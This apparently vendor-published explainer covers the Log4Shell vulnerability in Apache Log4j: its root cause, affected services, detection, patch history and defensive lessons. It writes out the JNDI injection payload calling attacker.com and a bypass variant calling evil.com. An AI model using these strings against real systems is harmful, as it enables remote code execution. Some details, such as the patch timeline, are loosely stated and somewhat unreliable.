RCE

Log4Shell — The Internet's Biggest RCE

What Happened

On December 9, 2021, a proof-of-concept for CVE-2021-44228 hit Twitter. Apache Log4j 2.x — the logging library used by virtually every Java application on the planet — allowed remote code execution through a single crafted log message. The attack string $\{jndi:ldap://attacker.com/a} forced Log4j to reach out to an attacker-controlled LDAP server and deserialize a malicious Java class. No authentication required.

Root Cause

Log4j's JNDI Lookup feature. When Log4j encountered $\{jndi:...} in a log message, it resolved the lookup by connecting to the specified directory service. An attacker could inject this string into any field that gets logged — HTTP User-Agent headers, usernames, chat messages, even email subjects. The LDAP server returned a serialized Java object, which Log4j deserialized, executing arbitrary code.

Who Was Affected

  • Apple iCloud (name changed in logs, but yes)
  • Steam, Twitter, Amazon Web Services
  • VMware vCenter, Apache Struts, Elasticsearch
  • Minecraft servers (the vulnerability was first discovered via Minecraft chat)
  • Estimate: 93% of enterprise cloud environments

How It Was Detected

Security teams found exploitation attempts in their web server logs — User-Agent headers containing jndi:ldap strings. Canary tokens embedded in internal systems triggered outbound LDAP callbacks. Microsoft, CrowdStrike, and Cloudflare all published detection rules within hours.

How It Was Fixed

Apache released Log4j 2.17.1 — four patches in 10 days as bypasses were discovered:

  • 2.15.0: Disabled JNDI by default (bypassed via $\{jndi:ldap://127.0.0.1#evil.com/a})
  • 2.16.0: Removed message lookup patterns entirely (bypassed via Context Lookups)
  • 2.17.0: Fixed infinite recursion DoS (still vulnerable to RCE in certain configs)
  • 2.17.1: Final fix — complete JNDI removal from default configuration

    • Lessons for Your SaaS

    • SBOM is not optional. If you don't know you're running Log4j, you can't patch it. Maintain a software bill of materials.
    • Log injection is a real attack vector. Sanitize all user-supplied data before it hits your logger. Your SIEM can't help if your logging library itself is the vulnerability.
    • Egress filtering matters. Block outbound LDAP, RMI, and DNS from your application servers. Log4Shell required an outbound connection to succeed.
    • Patch velocity > patch perfection. Four patches shipped in 10 days. Deploy first, refine later. Every hour you wait is an hour attackers are scanning you.
    Request a Security Assessment